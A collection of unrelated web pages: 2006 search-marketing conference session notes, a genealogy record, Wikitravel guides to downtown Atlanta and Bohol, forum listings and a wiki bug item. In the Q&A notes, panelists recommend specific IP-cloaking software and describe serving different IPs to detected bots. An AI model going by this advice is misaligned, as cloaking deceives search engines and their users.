Nan Dawkins from RedBoots consulting is up third. She is going to talk about blog basics. There are 1 new blog per second. 77% of people think blogs are a good way to get information about a company or product. 33% of journalists say they use blogs to uncover breaking new or scandals. Blogs account for 26% of SE rankings on Fortune 500 company/brand names. Blogs dominate serps on “brand” + [negative keyword]” searchers. Dell Hell example, about how Dell outsourced customer service to India. A influential blogger blogged about it and it spread across the blogosphere. 6 of the top 10 blogs were either not around last year or were not in the top 100. Bloggers create CGM across multiple channels.
She talks about a user Dave and how she stalks him all over the internet. Okay not stalkes, monitors. She used a MSN sandbox tool to track posts in his usergroup. She says that she found bloggers just don’t blog, they are highly engaged in social interaction technology. The user Dave did book reviews, geneology research and other stuff.
She says that journalists use blogs. They research story ideas and uncover breaking news and scandals. So what do I need to do know. First step is to monitor and listen. Monitor what bloggers are saying to stay in front of developing problems. She goes into some monitoring techniques such as “company name” + product reviews, sucks, information, etc.. She also recommends to watch advisory groups such as terms with “Take Action”. Nan also says 50% of negative word of mouth stem from feeling of injustice. Overall good presentation from Nan, great examples and took the time to explain her presentation which is very helpful to the audience.
Andy Beal was up last and has limited time so will probably fly through this fast. I recommend checking out his blog for more information on his presentation and for a free guide to reputation management. Some highlights from his presentation. He says to create custom RSS feeds based on keyword searches. Get an RSS aggregator to read this. Track your competitors and executives. Find out what they are doing.
Good session overall, since this is a reputation session wonder how many speakers will be reviewing my coverage. :-)
Previous story: Auditing Paid Listings and Click Fraud Issues
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Organic Listings Forum
Dec 7, 2006 • 3:04 pm | (5) by | Filed Under Search Engine Strategies 2006 Chicago
This session is moderated by Detlev Johnson who is Director of Consulting for Position Technologies. It turns out that this was a purely Q&A slot, so I've included some of the Questions and Answers below.
1. What can I do to quickly rank a new website with no history or links?
Mike Grehan - There is no sandbox.
Dave Naylor - I agree with Mike, it used to exist although not so much now. Get a few .edu links and you're good to go (joke).
Todd Friesen - As long as you start up with some links from trusted sources such as Best of the Web, a site will start to get noticed and indexed.
Bruce Clay - I don't think that a sandbox ever existed, SEO/algorithms has just changed.
Dave Naylor - Don't chase after the golden link such as CNN, look for conduits (links from sites which CNN links to).
2. A lot of sites getting good positions seem to be using cloaking, what's a good software app?
Dave Naylor - Ralph's cloaking at fantomaster.com is a good IP Cloaking sofware. You really only need to use it though if you have lots of valuable content and want to show a subscription page or have another stumbling block which only humans could navigate past. Cloaking does not increase your search position alone, simply makes the site's content accessible.
Todd Friesen - IP Delivery (ip-delivery.com) is also a good cloaking app.
3. Should I split sites which I host with similar content across different IP addresses?
Dave Naylor - I have a large cluster of servers using only 4 IP addresses. Hosting white labelled sites, this never used to be a problem until about 6 months ago, although now it seems to cause issues. I recommend spreading the site across different IP addresses now, personally I use proxy servers to detect bots and serve sites from different IPs.
4. When launching a website, how quickly should I build inbound links?
Bruce Clay - If you have a site giving the cure for cancer, you'd get a million links in a week and won't be counted as spam. As long as it's all natural and on topic you'll be ok. Your site should be something new or interesting and look for sites, which you would link to, for inbound links.
5. What really is the key to SEO, is content still king?
Dave Naylor - Search Engines don't go to your page and say "That's the best story I've ever read, I'll put that as #1", You want everyone in this room to say "The best story I've ever read is - Insert Anchor Text Here Please".
Detlev Johnson - With people buying links and using them for spam, the typical kind of link is becoming less important.
Dave Naylor - If I had 1,000 pounds to spend on a super cool design, super cool content or super cool links; I'd take the link package every time.
6. I have a main basketball site and sub sites for 30 different cities, where shall I concentrate my SEO efforts?
Bruce Clay - I would pool the sites all under one main site, all that content under one domain would be very valuable.
Dave Naylor - Just use subdomains or subfolders and point the city domains you've already bought over to the sub-domains/folders and use them for print advertising.
7. What do you think about the ODP (Open Directory Project - http://dmoz.org)?
Todd Friesen - It's not as important as it used to be - submit your site and then forget about it.
Bruce Clay - Submit your site every quarter if you haven't been added, although if the category doesn't have an editor you're unlikely to get in. Alternatively, submit your site to a category for your city/town and the editors are more likely to move you into the correct category.
8. Is the keyword Meta Tag still worth adding to a web page?
Todd Friesen - We spend a lot of time working on Page Titles, use the description Meta Tag for a sales message and haven't use the keyword Meta Tag in 2 or 3 years.
Bruce Clay - We think that every tag available is worth using and spending time on. There's hundreds of variables which make up the search algorithm and if keyword Meta Tags make up even a minute percentage of that algorithm, why not use it. Yahoo has said already that it takes notice of the tag, so that alone makes it worth it.
Dave Naylor - I agree with Bruce on this. Even though it's not the most important thing to concentrate on, even something which is 0.00001% of the algorithm could be the difference between position 2 and position 1.
These posts may have spelling and grammar issues. These are session notes, written quickly and posted immediately after the session has been completed. Please excuse any grammar or spelling issues with session posts.
I would like to thank my fellow SER bloggers for the support given to me on my first conference reporting, and also for providing this information resource which allowed me to follow sessions which I was unable to attend.
Previous story: In House: Big PPC
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Person:Abraham Strickler (1)
Watchers
Abraham Strickler
d.bef. 14 April 1746 Augusta County, Virginia
• HAbraham Strickler1670 - bef 1746
• WMary Ruffner1713 - 1746
m. abt. 1731
1. Joseph Strickler1731 - 1795
2. John Strickler1733 - 1801
3. Jacob Strickler1734 - 1784
4. Benjamin Strickler1735 - 1795
5. Abraham Strickler1738 - 1821
6. Isaac Stricklerabt 1740 - 1817
7. Mary Elizabeth Stricklerabt 1742 -
Facts and Events
Name[1] Abraham Strickler
Gender Male
Birth[1] 1670 Canton Zurich, Horgen, Switzerland
Marriage abt. 1731 to Mary Ruffner
Death[1] bef. 14 April 1746 Augusta County, Virginia
Abraham Strickler was one of the Early Settlers of Augusta County, Virginia
Contents
Welcome to
Old Augusta
Early Settlers
Register
Data
Maps
Places
Library
History
Index
The Tapestry
Families Old Chester OldAugusta Germanna
New River SWVP Cumberland Carolina Cradle
The Smokies Old Kentucky
__________________________
Early Land Acquisition in Orange County, VA
Acquisition of Land from Orange County, Virginia Records:
• Pages 210-13. 15-16 Dec. 1735. Jacob Stover of St. Mark's Parish, Orange County, to Abraham Strickler of the Province of Pennsylvania. Lease and release; for £84 current money, 1,000 acres at Mosonuttin on Gerundo (Shenandoah) River... on the north side... (signed) Jacob (J S) Stover. Wit: John Bramham, Gideon Marr, Wm. Terrell. 16 Dec. 1735. Acknowledged by Jacob Stover. [Orange County Virginia Deed Book 1, Dorman, pg. 16].
Estate Records of Abraham Strickler
• Page 4.--Peter Roughenough qualifies administrator of Abraham Strickler, with sureties, viz: Mathais Selzer, John Lionberger. 14th April, 1746.
• Vol. 1 - APRIL 14, 1746. - (21) Abraham Strickler's widow refuses to administer--Jeremiah Sutton, Randolph Mack, John Spittler and Paul Lung, Appraisers.
• Page 12.--19th April, 1746. Abraham Strickler's inventory appraised by Jeremiah Sutton, Paul Long, Rudolph Maag. Recorded, 18th June, 1746.
Records of Abraham Strickler in Orange County, VA
• Pages 100-04. 21-22 Sept. 1737. Concrat Ambyon of St. Mark's Parish, Orange County, planter, to Christopher Zimmerman of same. Lease and release; for £30 current money. 445 acres on Potatoe Run in the great fork of Rapahannock River... granted to Ambyon 1 May 1728... corner to Timothy Stamp... run side, corner to Christopher Zimmerman. (signed) Conrad Amberger. Wit: Thomas Hill, Abraham Strickler, John Newport. 22 Sept. 1737. Acknowledged by Conrad Amberger. [Orange County Virginia Deed Book 2, Dorman, pg. 41].
• Pages 195-98. William Crosthwait. Estate account. 3 Nov. 1743. Payments made to Tully Choice, William McDonough, William Williams, Abraham Strickler, Lewis Stevens (on account of Casper Wister), Richard Cross, William Golding, Robert Grason, Robert Bohanon, William Waller (lawyer's fee), Mr. Thomas Wright Belfield, Mr. Richard Winslow, Hugh Drohady, Matthew Stanton, Mr. George Taylor, Dr. Thomas Walker, Richard Sims, Edward Herndon, Dr. William Lynn, Peter Rucker, Charles Colson, Mr. Andrew Rosse, Mr. James Madison, Mr. Lewis (lawyer's fee), Mr. William Russell, Mr. Charles Dick, John Smith Junr., Col. Willis' estate, Sheriff of Augusta, Isaac Smith, George Wythe (lawyer's fee), Mr. Zachary Lewis, Alexr. Thompson, John Mercer, Joseph Philips, William Williams, Col. Taylor. [Orange County, Virginia Will Book 2, 1744-1778, Dorman, pg. 43].
Records of Abraham Strickler in Augusta County, VA
From Chalkley’s Augusta County Records:
• Vol. 2 - 1749-50, July 20th--Robert McClenahan, 230, on Shanando, formerly surveyed for Abraham Strickler; 200 part of Mouldin's patent on said river belonging to said Strickler; 316 on said river, formerly John Windlekite's.
• Page 106.--15th February, 1748. Daniel Stover qualifies guardian of John, Mary and James Campbell, orphans of John Campbell, with sureties Abraham Strickler, George Leath. (Note: appears to be after Abraham's death?).
Information on Abraham Strickler
From Genforum.com post:
Abraham Strickler and family, with a group of about 5 other families (Miller, Selzer, Long, Rinehart, Rhodes and Kauffman), was one of the first settlers of the Massanutten area of the Shenandoah Valley. This group had relocated from Lancaster, PA in 1729 and petitioned the VA government for land. They established the first settlement in the area on the "Massanuting" tract, so named by the indians in the area who created the large opening by burning the forest to allow grass to grow, thereby attracting game. The settlement was located along Massanutten Creek. [Source: http://genforum.genealogy.com/strickler/messages/78.html]
References
1. 1.0 1.1 1.2 OneWorldTree.
Ancestry.com. One World Tree (sm) [database online]. Provo, UT: MyFamily.com, Inc.
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Place:Grand Rapids, Wood, Wisconsin, United States
Watchers
NameGrand Rapids
TypeTown
Located inWood, Wisconsin, United States
the text in this section is copied from an article in Wikipedia
Grand Rapids is a town in Wood County, Wisconsin, United States. The population was 7,801 at the 2000 census. The census-designated place of Lake Wazeecha is located in the town. The unincorporated community of Kellner is located also partially in the town.
Research Tips
This page uses content from the English Wikipedia. The original content was at Grand Rapids, Wisconsin. The list of authors can be seen in the page history. As with WeRelate, the content of Wikipedia is available under the Creative Commons Attribution/Share-Alike License.
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Software for which the source code is published publicly and which can be changed by users.
learn more… | top users | synonyms
11
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Creating non-profit startup from open-source software project
I founded an open-source software project for voting about 8 years ago. It has been mostly a solo project, and it is very successful in that it is by far the most well known and most used software in ...
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507 views
Making money out of a free and open-source application
I've been working on a free and open-source wiki application since 2006 (that's 4 years!), and now my startup has taken over the development. Well, at least "officially". We make several thousands ...
8
votes
11answers
780 views
Make my failed Web application open source?
I've outsourced the creation of Web Spy Pro (www.webspypro.com) last year. It's a Webanalytics software that record/play the visitor mouse movements, so you can see exactly what visitors are doing on ...
4
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Is opensourcing your product a good strategy?
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148 reputation
7
bio website getvetter.com
location Taiwan
age
visits member for 1 year, 9 months
seen May 15 at 2:59
stats profile views 56
Irishman in Taipei working hard to make www.getvetter.com , which was 1st built at the Taipei Startup Weeekend in August 2011, the best product it can be.
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121 reputation
2
bio website edwinbuck.com
location Houston, TX
age 42
visits member for 7 months
seen Dec 17 '12 at 19:20
stats profile views 3
Software developer, and a whole lot more.
Currently employed at Cisco Systems
Formerly employed at:
PROS Revenue Management
ABB
ABB Network Management
Elsag / Bailey (Formerly Ferranti Systems)
The City of Houston
Tarrant and Bulgherini, CPA.
The Jewish Herald Voice
The University of Houston Biology Department
Programming since the age of 8 (Logo). Mastered various languages including
Logo
Pascal
C
FORTRAN
C++
Prolog
Scheme
TCL
TK
Expect
Java
Left computing in 1993 to do research oriented genetic engineering, with emphasis on the structure-function relationships of various proteins including alleles of emb-27 (C. Elegans) , p53 (molecule of the year), and an aquaporin candidate. Left research to return to computing in 1997.
Deep knowledge of the internal workings of the JVM and related technologies. Strong skills in job scheduling, demand forecasting, build / continuous integration systems, tool building, and software architecture.
0 Active bounties
This user has not participated in any bounties.
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Error!
Success!
Visual Studio Team System Widgets
0
kicks
Visual Studio Team System Widgets (Unpublished)
This is a list of various Visual Studio Team System add-ins, add-ons, widgets, and extensibility solutions. These widgets may be works in progress, open source, or commercially licensed products, so please read the respective license agreements!
Kicked By:
Drop Kicked By:
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NOTE: If you are a developer, please use a private wiki based on foswiki/trunk on a daily base ...or use trunk.foswiki.org to view this page for some minimal testing.
Use Item9693 for docu changes for 1.2 and 2.0.
Item1702: Be more informative about failed execution
Priority: CurrentState: AppliesTo: Component: WaitingFor:
Normal Closed Engine
If an exec fails in Foswiki::Sandbox only the error message is reported, but not which command actually failed.
Improve reporting.
-- MichaelDaum
ItemTemplate edit
Summary Be more informative about failed execution
ReportedBy MichaelDaum
Codebase
SVN Range Foswiki-1.0.0, Thu, 08 Jan 2009, build 1878
AppliesTo Engine
Component
Priority Normal
CurrentState Closed
WaitingFor
Checkins Foswikirev:4068
TargetRelease minor
ReleasedIn 1.1.0
Topic revision: r5 - 04 Oct 2010, KennethLavrsen
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The illiterate of the future are not those that cannot read or write. They are those that can not learn, unlearn, relearn. Toffler, Alvin
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America is promises to take! America is promises to us to take them. Macleish, Archibald
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Archibald MacLeish (May 7, 1892 April 20, 1982) was an American poet, writer, and Librarian of Congress. He is associated with the modernist school of poetry.
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Atlanta/Downtown
From Wikitravel
Jump to: navigation, search
Downtown skyline
Downtown Atlanta is the central area of Atlanta, as well as the center of Georgia. Downtown is home to the Georgia State Capitol, City Hall, and headquarters of numerous corporations. Despite the rise of Midtown and Buckhead, Downtown still contains much of the commercial activity of the city. All the places to see here are within 10 minutes walk of each other, and within a similar walking distance of any of the MARTA stations at Five Points, Peachtree Center or Omni-Dome-World-Congress Center.
[edit] Understand
Downtown Atlanta is vast and can be further broken down into subdistricts. The following subdistricts have their own articles:
[edit] Get in
Downtown Atlanta
Downtown Atlanta is located 7 miles (11 km) from Hartsfield-Jackson Atlanta International Airport. Interstate 75/85 runs directly through Atlanta, providing numerous exits into the downtown streets. Downtown Atlanta can also be accessed by MARTA trains and buses. The Five Points Station is where the North-South Line and the East-West Line intersect. Other MARTA rail stations in the Downtown area include Peachtree Center (N1) and Civic Center (N2) on the North-South Line, and Georgia State (E1) and Dome/GWCC/Philips Arena/CNN Center Station (W1) on the East-West Line.
[edit][add listing] See
• AtlanTIX Same Day, Half-Price Tickets, 65 Upper Alabama St SW (Located in the Atlanta Visitor's Center at Underground Atlanta), 404-588-9890, [1]. Tu-Sa 11AM-6PM, Su 12PM-4PM. AtlanTIX offers same-day, half-price tickets to performing arts events and cultural attractions. Tickets can be purchased at the booth or online. edit
• Centennial Olympic Park, +1 404 222-7275, [2]. The focal point of the 1996 Summer Olympic Games, Centennial Park has now become the center for tourism. Georgia Aquarium, the New World of Coke, CNN Center, Phillips Arena and Georgia Tech are all in walking distance of the park. In the winter the park features an ice skating rink and in the summer there are free concerts. The park often features concerts and other activities, and kids may love to pay in the fountains that are shaped in the form of the Olympic rings. edit
• Georgia State Capitol, 214 State Capitol, +1 404 656-2844, [3]. Native gold from Lumpkin County tops the dome of the [Georgia State Capitol Building.] This restored 1889 building houses a museum which collects, maintains and exhibits significant artifacts, including a priceless collection of Georgia's state flags. edit
• The King Center and Martin Luther King, Jr. National Historic Site, 449 Auburn Ave, NE, +1 404 526-8900, [4]. The memorial of Martin Luther King Jr. Which was established in 1968. The place shows Martin Luther King, Jr's nonviolent Social Change works. The historic site features a museum and preserves the neighborhood that includes Dr. King's birth home and Ebenezer Baptist Church. edit
• Rialto Center for the Arts, 80 Forsyth St, NW, +1 404 413-9TIX, [5]. Georgia State University is the home of the 833-seat Rialto Center for the Arts. The venue is host to jazz music concerts and dance performances as well as performances by Georgia State's School of Music and the home of the Atlanta Film Festival. edit
• Underground Atlanta, 50 Upper Alabama Ave, [6]. Housed entirely underground, this shopping and entertainment district is a bustling hub for retail activity during the day and clubbing at night. edit
• VSA arts of Georgia, 199 Armour Dr, +1 404-221-1270, [7]. A non-profit gallery and art space providing access to the arts for people with disabilities and those of low income. edit
• Theatrical Outfit, 84 Luckie St, NW, +1 404 577-5257, [8]. Theatrical Outfit entertains their audience by producing classic and contemporary theater with an emphasis on work indigenous to the culture of the American South. It's also certified as the first "green" theater in the country by the US Green Building Council. edit
[edit][add listing] Do
• The World of Coca-Cola, 121 Baker St (next to the Georgia Aquarium), +1 404 676-5151, [9]. M-Sa 9AM-5PM (9AM-6PM during Summer) Su 11AM-5PM.. The museum is largely dedicated to the advertising history of Coca Cola. Experience the reach of the world's most iconic brand in a new, highly interactive expanded space open in May 2007. $16 (adult); $14 (senior); $12 (ages 3-12); under 3 free and admission includes access to all exhibits and a commemorative Coke bottle). Booking online saves $1 as well as gets you a time slot due to increased traffic to the new exhibit. edit
• Georgia Aquarium, 225 Baker St. NW, +1 404 581-4000, [10]. Su-Th 9AM-6PM, F 9AM-10PM, Sa 8AM-8PM. The largest aquarium in the world with over a hundred thousand animals in 8 million gallons of water. The Aquarium recently added a new swim and dive activity called "Journey with Gentle Giants." It is the only opportunity in the world to swim with whale sharks, the largest fish in the world. Adult $29.50, Children (3-12) $22, Senior (55+) $25.50. edit
• Imagine It! Children's Museum of Atlanta, (at Pemberton Place next to Centennial Park), [11]. M-F 10AM-4PM, Sa-Su 10AM-5PM. The Children’s Museum of Atlanta creates environments and activities where young children experience the power of imagination and the pure delight of learning with each other and with grown-ups. $12.40 (adult), Children under the age of 2 are free.. edit
• Philips Arena, [12]. Covering 4.4 acres, Philips Arena is Atlanta's state-of-the-art multi purpose sports and entertainment complex. Home to the NBA's Atlanta Hawks and the WNBA's Atlanta Dream. Philips also hosts concerts and other major events. edit
• CNN Center, One CNN Center, +1 404 827-2300, [15]. M-Su 9AM-5PM (tours). The world headquarters of CNN offers studio tours, which include demonstrations of the technology used and visits to viewing galleries overlooking the newsrooms and newsreaders of CNN, HLN, and CNN En Espanol. CNN Center also has specialty retail shops and a food court with fast food and eat-in dining options. $15 (adult); $14 (senior, student); $12 (child). edit
• Sun Dial, 210 Peachtree St, +1 404 589-7506, [16]. Have a Georgia Peach Martini atop the revolving restaurant bar of the Westin Peachtree Plaza, and watch the sunset followed by entertainment provided by a jazz band. edit
• Atlanta Falcons at the Georgia Dome, [17]. The Atlanta Falcons have created a host of exciting game-day experiences and affordable family ticket packages for the fans. The 1998 NFC Champions, the Atlanta Falcons, gear up each September to kick off the official season. The Georgia Dome [18] has hosted numerous events including parts of the 1996 Summer Olympics, Super Bowl XXXIV, the annual Chic-fil-A Bowl and the Sugar Bowl. edit
[edit][add listing] Buy
• Underground Atlanta, 50 Upper Alabama St, [19]. This popular tourist attraction is literally underground and is close to other downtown attractions such as the World of Coca-Cola and the Georgia Aquarium. Tour and local attraction tickets are available for purchase at several kiosks in the Underground, as well as shopping at a variety of unique retail stores. edit
• CNN Center, One CNN Center, [20]. The atrium at the entrance of the CNN Center offers a few gift shops on the lower level. A great spot for buying souvenirs that display Georgia and TBS, Inc. network logo merchandise, including CNN, HLN and Cartoon Network characters at the CNN Store. edit
• AmericasMart, 240 Peachtree St, NW, [21]. AmericasMart is comprised of four buildings that are open to trade only: the Atlanta Gift Mart, Atlanta Merchandise Mart, Atlanta Apparel Mart and Inforum. Each year, AmericasMart hosts more than 400,000 retailers from every state and more than 70 countries around the world in 17 home furnishings, gift, floor covering and apparel markets. edit
[edit][add listing] Eat
[edit] Budget
• Dailey's, 17 (Andrew Young) International Blvd, +1 404 681-3303, [22]. An old Atlanta landmark with nightly entertainment. Be sure to check out the dessert bar. edit
• Sops on Ellis, 141 Carnegie Way, +1 404 525-8624. Salad, soups and sandwiches, the name Sops comes from the act of "sopping up" leftover soup with bread. The chef is formerly of Atlanta's Loaf and Kettle edit
• Hard Rock Cafe Atlanta, 215 Peachtree St, +1 404-688-7625, [23]. The Atlanta branch of the world-famous chain, featuring over 300 pieces of rock memorabilia and burgers, ribs and malts. edit
• Jalapeno Charlie's, 218 Peachtree St, NW, 404-581-0884, [24]. Latino-Mexican dining experience with authentic Latin art and music to add to the atmosphere. edit
• Rosa's Pizza, 62 Broad Street, NW, +1 404 521-2596, [25]. Hole-in-the-wall lunchtime favorite pizzeria for pizza, calzones or lasagna. It's a little bit of "authentic" New York on beautiful Broad Street. edit
• Thumbs Up Diner, 573 Edgewood Ave, SE, +1 404 223-0690, [26]. Known for its great breakfast options, the line is often out the door. Check the house rules before going! edit
[edit] Mid-range
• Atlanta Grill, 181 Peachtree St, NE (inside the Ritz-Carlton), +1 404 659-0400, [27]. Artistic and warm decor with a menu that offers steaks and seafood. Seasonal balcony dining is available overlooking Peachtree Street, but if you're looking for a more intimate setting, try their "Cheater's Booth" complete with privacy draperies. edit
• Azio, 229 Peachtree St, (404) 222-0808, [28]. Hearty Italian fare at reasonable prices and served in generous portions. The atmosphere is low lighting and close seating, but try and grab a table near the window, which is a prime spot for viewing the bustling Atlanta nightlife. edit
• Fire of Brazil, 218 Peachtree St, NW, +1 404 525-5255, [29]. An authentic Brazilian steakhouse with 6,000 square feet of dining area. Gaucho-style service reigns supreme as servers bring by cuts of beef, lamb, chicken or pork for you to choose from. edit
• Luckie Food Lounge, 375 Luckie St, NW (across the street from the Georgia Aquarium), +1 404 525-5825, [30]. This huge new restaurant features American cuisine, seven miles of LED lighting, a 600 gallon curved aquarium with rare species of fish, a sushi bar, rooftop sky deck, live music stage, and all-day dining. edit
• Max Lager's American Grill and Brewery, 320 Peachtree St, +1 404 525-4400, [31]. The 10,000-square-foot, turn-of-the-century industrial building helps highlight the copper and brass brewery; the patio, deck, and large windows overlook Hardy Ivy Park. edit
• Pacific Rim Bistro, 303 Peachtree Center Ave, +1 404 893-0018, [32]. Pan-Asian menu, sushi bar and pleasant covered patio downtown near the major hotels. edit
• The Peasant Bistro, 250 Park Avenue West, +1 404 230-1724, [33]. Part of the Peasant Restaurants, this older restaurant (by Atlanta standards) offers seasonal cuisine with continental influences in an intimate romantic dining room. edit
• Ray's In the City, 240 Peachtree St, +1 404 524-9224, [34]. Seafood diners have enjoyed Ray's on the River in Sandy Springs, GA for years. The same experience is now in the heart of Downtown Atlanta at their remodeled location on Peachtree Street. edit
• The Sun Dial, 210 Peachtree St, +1 404 589-7506, [35]. Perched 723 feet atop the tallest hotel in the Western Hemisphere (the Westin Peachtree Atlanta), this restaurant is known primarily for its breathtaking views and slowly rotates around on a platform 360 degrees. Frequented by tourists and popular for Sunday brunch. edit
• Thrive, 101 Marietta St, +1 404 389-1000, [36]. Upscale, casual restaurant in Centennial Tower. Traditional American fare with an Asian twist. edit
[edit] Splurge
• Fogao Gaucho, 84 Peachtree St, +1 404 477-1700. A Brazilian steakhouse in the historic Flatiron Building (older than New York's Flatiron Building!) edit
• French American Brasserie - FAB, 30 Ivan Allen Jr Blvd (inside the Southern Company Building), +1 404 266-1440, [37]. This is Fabrice Vergez’s reincarnation of Lenox Square's Brasserie Le Coze. The menu will be familiar to loyal customers -- French standards like niçoise salad, foie gras, skate and white bean soup complement new entrees like steaks and chops. edit
• Morton’s of Chicago - Atlanta, 303 Peachtree Center Ave (at the Suntrust Plaza Building), +1 404 577-4366. The famous chophouse of Chicago features steak, lobster and veal. edit
• Nikolai's Roof, 255 Courtland St, NE (inside the Atlanta Hilton), +1 404 221-6362, [38]. this glamorous AAA four-diamond restaurant serves French cuisine from a popular prix fixe menu and a limited a la carte menu. edit
• Trader Vic's, 255 Courtland St, NE (inside the Atlanta Hilton,), +1 404 221-6339. This South Pacific-themed restaurant features Polynesian cuisine and Mai Tais. edit
• Prime Meridian, 100 CNN Center (inside the Omni Hotel), +1 404 659-0000. Dine on local specialties (fried green tomatoes) or try one of their internationally inspired dishes, all while taking in a view of the Centennial Olympic Park. edit
[edit][add listing] Drink
• The Mark, 79 Poplar St, +1 678 904 0050 (), [39]. Chic ultra-lounge is in the Farlie-Poplar area of Atlanta and entertains patrons with funk, disco and dance music with an urban background of waterfalls and interactive plasma televisions. edit
• Alley Cat, 50 Upper Alabama St NW (inside Underground Atlanta), +1 678 904-2514. A great venue at Underground Atlanta that features a rock n’ roll atmosphere with sexily clad waitresses who perform dance routines at 1AM. edit
• Irish Bred Pub, 74 Upper Alabama St NW (inside Underground Atlanta), +1 404 521-6161. Serves standard pub food with some Irish add-ons to the menu and the occasional sing-along show on weeknights. edit
• Sidebar, 79 Poplar St, +1 404-588-1850 (), [40]. Downtown’s true neighborhood bar, serving locals, workers and Georgia State University students in addition to out-of-town visitors. edit
• Latitudes Bistro and Lounge, 100 CNN Center (inside the Omni Hilton), +1 404 659-0000. If you're attending a conference, sporting event, or just taking in the downtown sights, Latitudes is a great place for meet-ups or night-caps. On weekdays they cater to patrons seeking coffee and pastries. edit
[edit][add listing] Sleep
[edit] Budget
• Castleberry Inn, 186 Northside Dr. SW, +1 404 893-4663, [41]. A downtown hotel located inside the historic arts district featuring 168 rooms including standard rooms, adjoining rooms as well as spacious queen and king suites. Walking distance to art galleries, restaurants, the Georgia Dome, the World Congress Center, and other attractions. However, if you are a foreign visitor, be aware that this can be an unsafe area at night, and it is not very recommended to use the MARTA station at night. edit
• Hampton Inn and Suites Downtown Atlanta, 161 Spring St NW, +1 404 589-1111, [42]. Built into a historic office building, this Hampton Inn is close to all downtown attractions and features complimentary wireless internet for business travelers. edit
[edit] Mid-range
• Embassy Suites Atlanta - at Centennial Olympic Park, 267 Marietta Street, +1 404-223-2300, [43]. All-suite hotel located across from Centennial Olympic Park and walking distance to area attractions. Free breakfast and manager's reception for all guests. Ruth's Chris restaurant on-site for lunch and dinner. edit
• Hilton Garden Inn Atlanta Downtown, 275 Baker Street, +1 404-577-2001, [44]. New hotel adjacent to World of Coca-Cola and the Georgia Aquarium, and close to nightlife within the newly created Luckie Marietta District. Sleek and modern with lots of amenities, including a heliport and rooftop restaurant. edit
• Renaissance Atlanta Hotel Downtown, 590 West Peachtree Street NW, +1 404 881-6000, [45]. The Renaissance Atlanta Hotel has skyline views, a balcony pool, and over 31,000 square feet of event space. edit
[edit] Splurge
• Twelve Centennial Park, 400 W Peachtree St, +1 404 418 1212, [46]. All-suite hotel. Meeting space for up to 250 guests is available for conferences and weddings. $175-350. edit
• The Glenn Hotel, 110 Marietta St NW, +1 866 404-5366, [47]. Sexy new downtown boutique hotel CNN Center, Philips Arena, Georgia Dome, and Georgia Bar and within walking distance to the Georgia World Congress Center and Centennial Olympic Park as well as the Georgia Aquarium and the World of Coke. edit
• Hilton Atlanta, 255 Courtland Street NE, +1 404-659-2000, [48]. Recently remodeled and located in Downtown Atlanta. Modern and fashionable décor, first class amenities, and connected to MARTA via skybridge. edit
• Omni Hotel at CNN Center, 100 CNN Center, +1 404-659-0000 (, fax: +1 404-525-5050), [49]. The hotel is close to major sporting venues (the Georgia Dome and the Philips Arena) and has a view of the Centennial Olympic Park. They also host weddings! (33.759312,-84.394441) edit
• Hyatt Regency Atlanta, 265 Peachtree St. NE, +1 404 577-1234 (fax: +1 404 588-4137), [50]. Rooms with city views, numerous meeting room and ballroom space for any occasion, dining and entertainment in an atrium setting, and a revolving bar/restaurant on top under a glass dome. edit
• NYLO Hotels, 260 Peachtree St, +1 404 221-0600, [51]. NYLO Hotels offers modern boutique lodging with loft style accommodations and chic facilities for meetings and events. edit
• The Ellis Hotel, 176 Peachtree Street NW, 404-523-5155, [52]. The Ellis Hotel features a women’s only floor, 127 guest rooms, including 12 junior suites and an executive suite, all adorned with a palette of Georgia-inspired earth tones and sleek designs characteristic of boutique style yet comfy and functional. edit
[edit] Stay safe
Downtown Atlanta is relatively safe compared to many of the surrounding areas. Statistics have shown that downtown crime continues to decrease, contradicting the recent citywide statistics. Certain precautions should still be taken such as not traveling alone at night and be aware of suspicious activity. A more common activity that may be intimidating to visitors is pan-handling, which is mostly harmless.
This is a usable article. It has information for getting in as well as some complete entries for restaurants and hotels. An adventurous person could use this article, but please plunge forward and help it grow!
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Bohol
From Wikitravel
Central Visayas : Bohol
Revision as of 13:59, 28 December 2012 by 202.123.149.37 (Talk)
Jump to: navigation, search
The rice terraces of Candijay, Eastern Bohol
Bohol [1] is the main island of Bohol Province together with 75 minor surrounding islands. The island lies southeast from Cebu Island and southwest of Leyte Island in Central Visayas region. This oval-shaped island is the tenth largest of the Philippine archipelago. Another gem of the Visayas, Bohol is a tropical haven of natural beauty. The coastline of the island is skimmed by gentle coves and white sand beaches. Bohol is not as internationally famous as nearby Boracay, but is well-known locally as a paradise for divers and snorkelers. Dolphin watching and whale watching tours are popular with both residents and visiting tourists. The best season is from March to June, but dolphins can be seen year-round. In addition to white sand beaches and dive spots, Bohol is famous among others, for its Chocolate Hills, the Tarsier – arguably the world’s smallest primate, heritage sites and old stone churches.
Understand
Cities
• Tagbilaran — Capital of Bohol and the main point of entry to the island, including nearby Panglao Island.
• Loboc — Rivertown with historic church and idyllic falls. Home of the famous Loboc Children's Choir. Also famous for its River Cruise including serenade and buffet lunch.
• Carmen — Launching point for tours of the Chocolate Hills
• Corella — The best place in the Philippines to spot a tarsier in the wild.
• Baclayon — Port with tours to Pamilacan Island and the town where the old Baclayon Church (established in 1727) is located. Elegant heritage houses line the main road.
• Bilar — Gateway to Bilar & Rajah Sikatuna National Park.
• Dauis — Historic Church with lovely seaside setting, pilgrimage site, and venue for heritage-themed dinners, exhibits, tours, cafe, craft shop featuring local jewelry
Other Destinations
Get in
By plane
One of the fast ferry that serve Cebu to Bohol and vice-versa
Philippine Airlines (PAL), Cebu Pacific and Zest Air all service the Tagbilaran Airport. As of December 2012, PAL flies 4 direct flights daily from Manila each way. Currently all flights are during the day, however there are plans to upgrade the Tagbilaran airport to accommodate night flights. The Tagbilaran airport has had recent renovations. The tarmac accomodates 2 planes at time. PAL typically uses an Airbus 319 for service to Bohol.
By boat
The Tagbilaran City Tourist Pier handles more than 4,000 travelers on a daily basis. Nine daily ship calls from Cebu are processed efficiently, with other ships from Manila, Cagayan de Oro City, Dumaguete, Dipolog, Iligan City, Larena, Plaridel and Ozamiz City also welcomed on a regular basis. Another four port terminals cater specifically to Cebu and northern Mindanao routes. Additional berthing space for fastcraft ferries is currently under construction.
Bohol fast ferries schedule
Get around
Bohol Island is easily accessible by bus, private cars, taxi and rental cars. Many of the towns in Bohol have a bus terminal where one can get a ride to other towns. Tagbilaran City, the capital city of Bohol has an integrated bus terminal located in Dao, where you can get a bus ride to get in most towns in Bohol. Most bus lines operate follows daily schedules. To go the the Chocolate Hills, one had to take the interior-route like Carmen-Sierra Bullones.
